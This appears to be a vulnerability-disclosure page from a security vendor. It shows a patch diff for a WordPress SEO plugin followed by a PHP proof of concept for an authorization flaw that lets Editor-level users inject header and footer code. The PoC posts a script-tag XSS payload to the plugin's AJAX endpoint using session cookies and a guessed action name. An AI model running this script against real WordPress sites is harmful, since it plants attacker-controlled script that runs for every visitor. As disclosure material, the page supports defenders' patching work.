+
+	/**
+	 * Register the JavaScript for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_scripts() {
+
+		/**
+		 * This function is provided for demonstration purposes only.
+		 *
+		 * An instance of this class should be passed to the run() function
+		 * defined in Rankology_Seo_And_Analytics_Tool_Loader as all of the hooks are defined
+		 * in that particular class.
+		 *
+		 * The Rankology_Seo_And_Analytics_Tool_Loader will then create the relationship
+		 * between the defined hooks and the functions defined in this
+		 * class.
+		 */
+
+//		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'assets/js/rankology-seo-and-analytics-tool-admin.js', array( 'jquery' ), $this->version, false );
+
+	}
+
+    /*
+     * adding custom class for Rankology Styling
+     */
+    public function rankology_adminClass($classes)
+    {
+        $classes .= ' rankology-seo-and-analytics-tool ';
+        return $classes;
+    }
+
+}
--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-post-meta-boxes.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-post-meta-boxes.php
@@ -860,8 +860,8 @@
 	if (
 		isset( $_POST['rankology_meta_data']['rankology_analysis_keywords'] )
 	) {
-		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		$raw_input      = wp_unslash( $_POST['rankology_meta_data']['rankology_analysis_keywords'] ); // Safe unslash
+		// Sanitize input before json_decode
+		$raw_input      = sanitize_text_field( wp_unslash( $_POST['rankology_meta_data']['rankology_analysis_keywords'] ) );
 		$keywords_array = json_decode( $raw_input, true ); // Decode from JSON
 		$flat_keywords  = [];

@@ -890,8 +890,8 @@
 	 * ========================================================= */

 	if ( isset( $_POST['rankology_meta_data']['rankology_google_suggest_keywords'] ) ) {
-		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		$raw_input = wp_unslash( $_POST['rankology_meta_data']['rankology_google_suggest_keywords'] );
+		// Sanitize input before json_decode
+		$raw_input = sanitize_text_field( wp_unslash( $_POST['rankology_meta_data']['rankology_google_suggest_keywords'] ) );
 		$decoded   = json_decode( $raw_input, true );
 		$keywords  = [];

--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-post-taxonomy-tabs.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-post-taxonomy-tabs.php
@@ -4,8 +4,9 @@
  * rankology Post/page Tabs Analysis
  */

-$meta = [];
-$canonicalurl = '';
+
+$rankology_meta = [];
+$rankology_canonicalurl = '';

 global $pagenow;

@@ -44,9 +45,8 @@
 if ('post-new.php' == $pagenow || 'post.php' == $pagenow) {
     $post_id = get_the_ID(); // or $post->ID if in context
     if ($post_id) {
-        $meta = rankology_get_meta_array_fields($post_id, 'rankology_meta_data');
-        $canonicalurl = $meta['rankology_post_canonicalurl'] ?? '';
-
+        $rankology_meta = rankology_get_meta_array_fields($post_id, 'rankology_meta_data');
+        $rankology_canonicalurl = $rankology_meta['rankology_post_canonicalurl'] ?? '';
     }
 }

@@ -57,18 +57,17 @@
     if (isset($_GET['tag_ID'], $_GET['taxonomy'])) {
         // Safe: Only reading tag ID for enqueueing script context, not saving data
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $term_id  = absint(wp_unslash($_GET['tag_ID']));
+        $rankology_term_id  = absint(wp_unslash($_GET['tag_ID']));
         // Safe: Only reading taxonomy for enqueueing script context, not saving data
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         $taxonomy = sanitize_text_field(wp_unslash($_GET['taxonomy']));
-        if ($term_id && taxonomy_exists($taxonomy)) {
-            $meta         = rankology_get_term_meta_array_fields($term_id, 'rankology_meta_data');
-            $canonicalurl = $meta['rankology_term_canonicalurl'] ?? '';
+        if ($rankology_term_id && taxonomy_exists($taxonomy)) {
+            $rankology_meta         = rankology_get_term_meta_array_fields($rankology_term_id, 'rankology_meta_data');
+            $rankology_canonicalurl = $rankology_meta['rankology_term_canonicalurl'] ?? '';
         }
     }
 }

-
 // Renders analysis message
 function rankology_render_analysis_message($tab_key)
 {
@@ -78,7 +77,7 @@
 }

 // Renders tab-specific content
-function rankology_render_tab_content($tab_key, $meta, $canonicalurl)
+function rankology_render_tab_content($tab_key, $rankology_meta, $rankology_canonicalurl)
 {

     switch ($tab_key) {
@@ -94,13 +93,13 @@
                     <input type="text"
                            id="rankology_post_canonicalurl"
                            name="rankology_meta_data[rankology_post_canonicalurl]"
-                           value="<?php echo esc_attr($canonicalurl); ?>"
+                           value="<?php echo esc_attr($rankology_canonicalurl); ?>"
                            class="widefat rankology-metaboxes-input">
                 <?php }  if ('term.php' == $pagenow || 'edit-tags.php' == $pagenow) { ?>
                     <input type="text"
                            id="rankology_term_canonicalurl"
                            name="rankology_meta_data[rankology_term_canonicalurl]"
-                           value="<?php echo esc_attr($canonicalurl); ?>"
+                           value="<?php echo esc_attr($rankology_canonicalurl); ?>"
                            class="widefat rankology-metaboxes-input">
                 <?php } ?>
             </p>
@@ -138,11 +137,11 @@
     <!-- Tab Navigation -->
     <div class="rankology-seo-tab-nav-wrapper">
         <ul class="rankology-seo-tabs">
-            <?php $i = 0; ?>
-            <?php foreach ($rankology_tabs as $tab_key => $tab_label): ?>
+            <?php $rankology_i = 0; ?>
+            <?php foreach ($rankology_tabs as $rankology_tab_key => $rankology_tab_label): ?>
                 <li class="rankology-seo-tab-link <?php echo ($i === 0) ? 'active' : ''; ?>"
-                    data-tab="<?php echo esc_attr($tab_key); ?>">
-                    <?php echo esc_html($tab_label); ?>
+                    data-tab="<?php echo esc_attr($rankology_tab_key); ?>">
+                    <?php echo esc_html($rankology_tab_label); ?>
                 </li>
                 <?php $i++; ?>
             <?php endforeach; ?>
@@ -151,12 +150,12 @@

     <!-- Tab Content -->
     <div class="rankology-seo-tab-content-wrapper">
-        <?php $i = 0; ?>
-        <?php foreach ($rankology_tabs as $tab_key => $tab_label): ?>
-            <div id="rankology-tab-<?php echo esc_attr($tab_key); ?>"
-                 class="rankology-seo-tab-content <?php echo ($i === 0) ? 'active' : ''; ?>">
+        <?php $rankology_i = 0; ?>
+        <?php foreach ($rankology_tabs as $rankology_tab_key => $rankology_tab_label): ?>
+            <div id="rankology-tab-<?php echo esc_attr($rankology_tab_key); ?>"
+                 class="rankology-seo-tab-content <?php echo ($rankology_i === 0) ? 'active' : ''; ?>">

-                <?php rankology_render_tab_content($tab_key, $meta, $canonicalurl); ?>
+                <?php rankology_render_tab_content($rankology_tab_key, $rankology_meta, $rankology_canonicalurl); ?>

             </div>
             <?php $i++; ?>
@@ -164,4 +163,3 @@
     </div>

 </div>
-
--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-posts-similar-content-class.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-posts-similar-content-class.php
@@ -266,7 +266,6 @@
             echo '</li>';
         }

-
         echo '</ul>';
         echo '</div>';

@@ -434,19 +433,19 @@
     // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reading tag_ID and taxonomy only
     $taxonomy = sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) );
     // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reading tag_ID only
-    $term_id  = absint($_GET['tag_ID']);
+    $rankology_term_id  = absint($_GET['tag_ID']);

     // Allowed taxonomies
-    $allowed_taxonomies = ['category', 'post_tag'];
+    $rankology_allowed_taxonomies = ['category', 'post_tag'];

     // Add WooCommerce taxonomies if WooCommerce is active
     if (class_exists('WooCommerce')) {
-        $allowed_taxonomies = array_merge($allowed_taxonomies, ['product_cat', 'product_tag', 'product_brand']);
+        $rankology_allowed_taxonomies = array_merge($rankology_allowed_taxonomies, ['product_cat', 'product_tag', 'product_brand']);
     }

-    if (in_array($taxonomy, $allowed_taxonomies, true)) {
+    if (in_array($taxonomy, $rankology_allowed_taxonomies, true)) {
         // ✅ Display your suggestions (5 categories/tags)
-        rankology_display_similar_cats_tags_items($term_id);
+        rankology_display_similar_cats_tags_items($rankology_term_id);
     }
 }

--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-term-meta-boxes.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology-term-meta-boxes.php
@@ -642,7 +642,7 @@
     // Save keywords field as CSV
     foreach (['rankology_analysis_keywords', 'rankology_google_suggest_keywords'] as $keyword_key) {
         if (isset($raw_meta[$keyword_key])) {
-            $raw_keywords = $raw_meta[$keyword_key];
+            $raw_keywords = sanitize_text_field($raw_meta[$keyword_key]);
             $keywords_array = json_decode(stripslashes($raw_keywords), true); // Handle escaped quotes
             $flat_keywords = [];

--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_google_indexing_status.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_google_indexing_status.php
@@ -4,55 +4,60 @@
  *  rankology_get_single_page_data
  */

-$response = apply_filters('rankology_get_single_page_data', [], '');
+// Fetch single page data via filter
+$rankology_response = apply_filters('rankology_get_single_page_data', [], '');

-if (is_wp_error($response)) {
-	// Get the specific error message safely
-	$error_message = $response->get_error_message();
-
-	// ✅ If the message is empty or unknown, show a friendly default message
-	if (empty($error_message)) {
-		$error_message = 'Your domain is not connected. Kindly add your domain in the Settings.';
-	}
+// Handle WP_Error responses
+if (is_wp_error($rankology_response)) {
+    // Get the specific error message safely
+    $rankology_error_message = $rankology_response->get_error_message();
+
+    // ✅ If the message is empty or unknown, show a friendly default message
+    if (empty($rankology_error_message)) {
+        $rankology_error_message = 'Your domain is not connected. Kindly add your domain in the Settings.';
+    }

-	// Return the error with the actual or default message
-	return new WP_Error('api_request_error', esc_html($error_message));
+    // Return the error with the actual or default message
+    return new WP_Error('api_request_error', esc_html($rankology_error_message));
 }

-
-
-if (!empty($response['success']) && !empty($response['data'])) {
-    $data = $response['data'];
+// Check if the response is successful and contains data
+if (!empty($rankology_response['success']) && !empty($rankology_response['data'])) {
+    $rankology_data = $rankology_response['data'];

     echo '<table id="single_page_google_stats" class="widefat striped rankology-suggestions-keywords" style="margin-top: 20px;">';
     echo '<thead><tr><th>Field</th><th>Value</th></tr></thead>';
     echo '<tbody>';

-    foreach ($data as $key => $value) {
+    foreach ($rankology_data as $rankology_key => $rankology_value) {
         // If value is an array, convert it to a readable string
-        if (is_array($value)) {
-            $value = implode(', ', $value);
+        if (is_array($rankology_value)) {
+            $rankology_value = implode(', ', $rankology_value);
         }

-        // Make URL clickable if it's an inspection link
-        if (filter_var($value, FILTER_VALIDATE_URL)) {
-            $value = '<a href="' . esc_url($value) . '" target="_blank">' . esc_html($value) . '</a>';
+        // Make URL clickable if it's a valid URL
+        if (filter_var($rankology_value, FILTER_VALIDATE_URL)) {
+            $rankology_value = sprintf(
+                '<a href="%1$s" target="_blank">%1$s</a>',
+                esc_url($rankology_value)
+            );
         } else {
-            $value = esc_html($value);
+            $rankology_value = esc_html($rankology_value);
         }

         echo '<tr>';
-        echo '<td style="font-weight: bold;">' . esc_html(ucwords(str_replace('_', ' ', $key))) . '</td>';
-        echo '<td>' . wp_kses_post($value) . '</td>';
+        echo '<td style="font-weight: bold;">' . esc_html(ucwords(str_replace('_', ' ', $rankology_key))) . '</td>';
+        echo '<td>' . wp_kses_post($rankology_value) . '</td>';
         echo '</tr>';
     }

     echo '</tbody>';
     echo '</table>';
 } else {
-    echo '<div style="color: red; font-weight: bold;">';
-    echo !empty($response['details']['error']['message'])
-        ? esc_html($response['details']['error']['message'])
+    // Display error message if response is empty or unsuccessful
+    $rankology_error_msg = !empty($rankology_response['details']['error']['message'])
+        ? $rankology_response['details']['error']['message']
         : 'Something went wrong.';
-    echo '</div>';
-}
 No newline at end of file
+
+    echo '<div style="color: red; font-weight: bold;">' . esc_html($rankology_error_msg) . '</div>';
+}
--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_single_post_page_results.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_single_post_page_results.php
@@ -30,7 +30,7 @@

 	//$pageUrl = 'https://rankology-live.myshopify.com/about-us/';

-	$domain = get_rankology_homepage_url();
+	$domain = rankology_get_homepage_url();

 	//$domain ='https://rankology-live.myshopify.com';

--- a/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_submit_url.php
+++ b/rankology-seo-and-analytics-tool/admin/meta_boxes/rankology_submit_url.php
@@ -8,6 +8,10 @@

 	check_ajax_referer('rankology_submit_url_nonce', 'security');

+	if (!current_user_can('edit_posts')) {
+		wp_send_json_error(['message' => __('Unauthorized access.', 'rankology-seo-and-analytics-tool')]);
+	}
+
 	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
 	$post_id = intval( wp_unslash( $_POST['post_id'] ) );
 	$post_url = get_permalink($post_id);
@@ -26,7 +30,7 @@
 	$body = json_encode($body_data, JSON_UNESCAPED_SLASHES);
 	$api_key = get_option('rankology_apikey', '');

-	$domain =get_rankology_homepage_url();
+	$domain =rankology_get_homepage_url();
 	//$domain ='https://rankology-live.myshopify.com';

 	$headers = [
--- a/rankology-seo-and-analytics-tool/admin/option_fields/rankology-api-key-settings.php
+++ b/rankology-seo-and-analytics-tool/admin/option_fields/rankology-api-key-settings.php
@@ -13,8 +13,8 @@
             <div class="rankology-card-header">

                 <h1><i class="fa-solid fa-align-left"></i>
-					<?php esc_html_e( 'Rankolgoy Api Key', 'rankology-seo-and-analytics-tool' ); ?></h1>
-                <p><?php esc_html_e( 'Set a Google Analytics Key to improve the search appearance.', 'rankology-seo-and-analytics-tool' ); ?></p>
+					<?php esc_html_e( 'Google Analytics Api Key', 'rankology-seo-and-analytics-tool' ); ?></h1>
+                <p><?php esc_html_e( 'Set a Google Analytics API Key to improve the search appearance.', 'rankology-seo-and-analytics-tool' ); ?></p>
             </div>
             <!-- Meta Title Input Section -->
             <div class="rankology-meta-section">
@@ -35,7 +35,7 @@

             </div>

-            <div class="rankology-saving-settings-btn">
+            <!-- <div class="rankology-saving-settings-btn">
                 <button class="rankology-setting-save-btn ">
                     <svg class="rankology-btn-icon" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                         <path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" stroke="currentColor"
@@ -44,14 +44,11 @@
                         <polyline points="7,3 7,8 15,8" stroke="currentColor" stroke-width="2"></polyline>
                     </svg>
 					<?php esc_html_e( 'Save Settings', 'rankology-seo-and-analytics-tool' ); ?>
-
                 </button>
-
-            </div>
+            </div> -->
         </div>
     </div>

-
     <div class="rankology-saving-settings-btn">
         <button class="rankology-setting-save-btn ">
             <svg class="rankology-btn-icon" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -65,6 +62,7 @@
         </button>

     </div>
+
     <div id="rankology-save-results"></div>
 </form>

--- a/rankology-seo-and-analytics-tool/admin/option_fields/rankology-bread-crumb-options.php
+++ b/rankology-seo-and-analytics-tool/admin/option_fields/rankology-bread-crumb-options.php
@@ -3,106 +3,86 @@

 $rankology_options = get_option('rankology_setting_options');

-$enabled = isset($rankology_options['rankology_breadcrumb_setting_on']) && $rankology_options['rankology_breadcrumb_setting_on'] === 'yes';
-$status = $enabled ? 'Active' : 'Disabled';
-$status_class = $enabled ? 'rankology-status-active' : 'rankology-status-disabled';
-$card_class = $enabled ? 'normal-card' : 'rankology-disable';
-
-$rankology_breadcrumb_post = isset($rankology_options['rankology_breadcrumb_for_post']) && $rankology_options['rankology_breadcrumb_for_post'] === '1';
-$rankology_breadcrumb_pages = isset($rankology_options['rankology_breadcrumb_for_pages']) && $rankology_options['rankology_breadcrumb_for_pages'] === '1';
-$rankology_breadcrumb_taxonomies = isset($rankology_options['rankology_breadcrumb_for_taxonomies']) && $rankology_options['rankology_breadcrumb_for_taxonomies'] === '1';
+// Breadcrumb main toggle
+$rankology_breadcrumbs_enabled = !empty($rankology_options['rankology_breadcrumb_setting_on']) && $rankology_options['rankology_breadcrumb_setting_on'] === 'yes';
+$rankology_breadcrumbs_status = $rankology_breadcrumbs_enabled ? 'Active' : 'Disabled';
+$rankology_breadcrumbs_status_class = $rankology_breadcrumbs_enabled ? 'rankology-status-active' : 'rankology-status-disabled';
+$rankology_breadcrumbs_card_class = $rankology_breadcrumbs_enabled ? 'normal-card' : 'rankology-disable';
+
+// Breadcrumb display options
+$rankology_breadcrumb_for_post = !empty($rankology_options['rankology_breadcrumb_for_post']) && $rankology_options['rankology_breadcrumb_for_post'] === '1';
+$rankology_breadcrumb_for_pages = !empty($rankology_options['rankology_breadcrumb_for_pages']) && $rankology_options['rankology_breadcrumb_for_pages'] === '1';
+$rankology_breadcrumb_for_taxonomies = !empty($rankology_options['rankology_breadcrumb_for_taxonomies']) && $rankology_options['rankology_breadcrumb_for_taxonomies'] === '1';
 ?>
-<div class="rankology-card-toggle-main <?php echo esc_html($card_class); ?>">

+<!-- Breadcrumb Toggle Card -->
+<div class="rankology-card-toggle-main <?php echo esc_attr($rankology_breadcrumbs_card_class); ?>">
     <div class="rankology-card-header-toggle">
-
-        <div class="rankology-card-title "><?php esc_html_e('Breadcrumbs Enable/Disable', 'rankology-seo-and-analytics-tool'); ?></div>
+        <div class="rankology-card-title">
+            <?php esc_html_e('Breadcrumbs Controls', 'rankology-seo-and-analytics-tool'); ?>
+        </div>
         <div class="rankology-card-toggle">
-            <span class="rankology-status <?php echo esc_attr($status_class); ?>"><?php echo esc_html($status); ?></span>
+            <span class="rankology-status <?php echo esc_attr($rankology_breadcrumbs_status_class); ?>">
+                <?php echo esc_html($rankology_breadcrumbs_status); ?>
+            </span>
             <label class="rankology-toggle-switch">
                 <input type="checkbox" name="rankology_setting_options[rankology_breadcrumb_setting_on]"
-                       id="rankology_breadcrumb_setting_on" value="yes" <?php checked($enabled); ?>
+                       id="rankology_breadcrumb_setting_on" value="yes" <?php checked($rankology_breadcrumbs_enabled); ?>
                        class="rankology-toggle">
                 <span class="rankology-toggle-slider"></span>
             </label>
-
         </div>
     </div>
-
 </div>

-
-
+<!-- Breadcrumb Settings Card -->
 <div class="rankology-container-card">
-    <!-- Card with dynamic status class -->
-    <div class="rankology-field-card rankology-card <?php echo esc_html($card_class); ?>">
-        <!-- Card Header -->
+    <div class="rankology-field-card rankology-card <?php echo esc_attr($rankology_breadcrumbs_card_class); ?>">
         <div class="rankology-card-header">
-            <h1><i class="fa-solid fa-angles-right"></i><?php esc_html_e('Breadcrumb Setting', 'rankology-seo-and-analytics-tool'); ?></h1>
-            <p><?php esc_html_e('Optimize your search engine presence by adjusting breadcrumb.', 'rankology-seo-and-analytics-tool'); ?></p>
+            <h1><i class="fa-solid fa-angles-right"></i> <?php esc_html_e('Breadcrumb Configuration', 'rankology-seo-and-analytics-tool'); ?></h1>
+            <p><?php esc_html_e('Enhance SEO by managing breadcrumb visibility for different content types.', 'rankology-seo-and-analytics-tool'); ?></p>
         </div>

-        <!-- Meta Title Section -->
         <div class="rankology-meta-section">
-
-            <!-- Section Title -->
             <div class="rankology-section-title">
                 <i class="fas fa-image"></i>
-                <label for="rankology_filename_alternative" class="rankology-form-label">
-                    <?php esc_html_e('Enable/Disable Breadcrumbs', 'rankology-seo-and-analytics-tool'); ?>
-                </label>
+                <label class="rankology-form-label"><?php esc_html_e('Select Content Types', 'rankology-seo-and-analytics-tool'); ?></label>
             </div>

             <label class="rankology-checkbox rankology-schema-options-enable" for="rankology_breadcrumb_for_post">
                 <input type="checkbox" name="rankology_setting_options[rankology_breadcrumb_for_post]"
-                       id="rankology_breadcrumb_for_post" value="1" <?php checked($rankology_breadcrumb_post, '1'); ?>>
+                       id="rankology_breadcrumb_for_post" value="1" <?php checked($rankology_breadcrumb_for_post, '1'); ?>>
                 <span class="rankology-checkmark"></span>
-                <?php esc_html_e('Enable breadcrumb for posts.', 'rankology-seo-and-analytics-tool'); ?>
+                <?php esc_html_e('Posts', 'rankology-seo-and-analytics-tool'); ?>
             </label>

             <label class="rankology-checkbox rankology-schema-options-enable" for="rankology_breadcrumb_for_pages">
                 <input type="checkbox" name="rankology_setting_options[rankology_breadcrumb_for_pages]"
-                       id="rankology_breadcrumb_for_pages" value="1" <?php checked($rankology_breadcrumb_pages, '1'); ?>>
+                       id="rankology_breadcrumb_for_pages" value="1" <?php checked($rankology_breadcrumb_for_pages, '1'); ?>>
                 <span class="rankology-checkmark"></span>
-                <?php esc_html_e('Enable breadcrumb for pages.', 'rankology-seo-and-analytics-tool'); ?>
+                <?php esc_html_e('Pages', 'rankology-seo-and-analytics-tool'); ?>
             </label>

             <label class="rankology-checkbox rankology-schema-options-enable" for="rankology_breadcrumb_for_taxonomies">
                 <input type="checkbox" name="rankology_setting_options[rankology_breadcrumb_for_taxonomies]"
-                       id="rankology_breadcrumb_for_taxonomies" value="1" <?php checked($rankology_breadcrumb_taxonomies, '1'); ?>>
+                       id="rankology_breadcrumb_for_taxonomies" value="1" <?php checked($rankology_breadcrumb_for_taxonomies, '1'); ?>>
                 <span class="rankology-checkmark"></span>
-                <?php esc_html_e('Enable breadcrumb for taxonomies.', 'rankology-seo-and-analytics-tool'); ?>
+                <?php esc_html_e('Taxonomies', 'rankology-seo-and-analytics-tool'); ?>
             </label>
-            <p>You can also use this shortcode in your content [rankology_breadcrumb]</p>
-        </div>
-        <div class="rankology-saving-settings-btn">
-            <button class="rankology-setting-save-btn">
-                <svg class="rankology-btn-icon" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
-                    <path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" stroke="currentColor"
-                          stroke-width="2"></path>
-                    <polyline points="17,21 17,13 7,13 7,21" stroke="currentColor" stroke-width="2"></polyline>
-                    <polyline points="7,3 7,8 15,8" stroke="currentColor" stroke-width="2"></polyline>
-                </svg>
-                <?php esc_html_e('Save Settings', 'rankology-seo-and-analytics-tool'); ?>
-
-            </button>

+            <p><?php esc_html_e('You can also insert breadcrumbs using shortcode: [rankology_breadcrumb]', 'rankology-seo-and-analytics-tool'); ?></p>
         </div>
     </div>
 </div>

-
-
+<!-- Save Settings Button -->
 <div class="rankology-saving-settings-btn">
     <button class="rankology-setting-save-btn">
         <svg class="rankology-btn-icon" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
-            <path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" stroke="currentColor"
-                  stroke-width="2"></path>
-            <polyline points="17,21 17,13 7,13 7,21" stroke="currentColor" stroke-width="2"></polyline>
-            <polyline points="7,3 7,8 15,8" stroke="currentColor" stroke-width="2"></polyline>
+            <path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" stroke="currentColor" stroke-width="2"/>
+            <polyline points="17,21 17,13 7,13 7,21" stroke="currentColor" stroke-width="2"/>
+            <polyline points="7,3 7,8 15,8" 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12958 - Rankology SEO and Analytics Tool <= 2.0 - Incorrect Authorization to Authenticated (Editor+) Header & Footer Code Creation

<?php
/**
 * Proof of Concept for CVE-2025-12958
 * Requires valid WordPress authentication cookies for a user with Editor role or higher
 */

$target_url = 'https://vulnerable-site.com';
$cookies = 'wordpress_logged_in_xxx=xxx; wordpress_sec_xxx=xxx';

// The vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Determine the correct action parameter for code block creation
// This would need to be discovered through plugin analysis
$action_param = 'rankology_save_code_block';

// Malicious header code to inject
$malicious_code = '<script>alert("XSS via CVE-2025-12958");</script>';

// Prepare the POST data
$post_data = [
    'action' => $action_param,
    'code_type' => 'header', // or 'footer'
    'code_content' => $malicious_code,
    'security' => 'bypassed_nonce' // Nonce may be required but bypassable
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookies
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[+] Exploit successful! Malicious code injected.n";
    echo "Response: " . $response . "n";
} else {
    echo "[-] Exploit failed. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School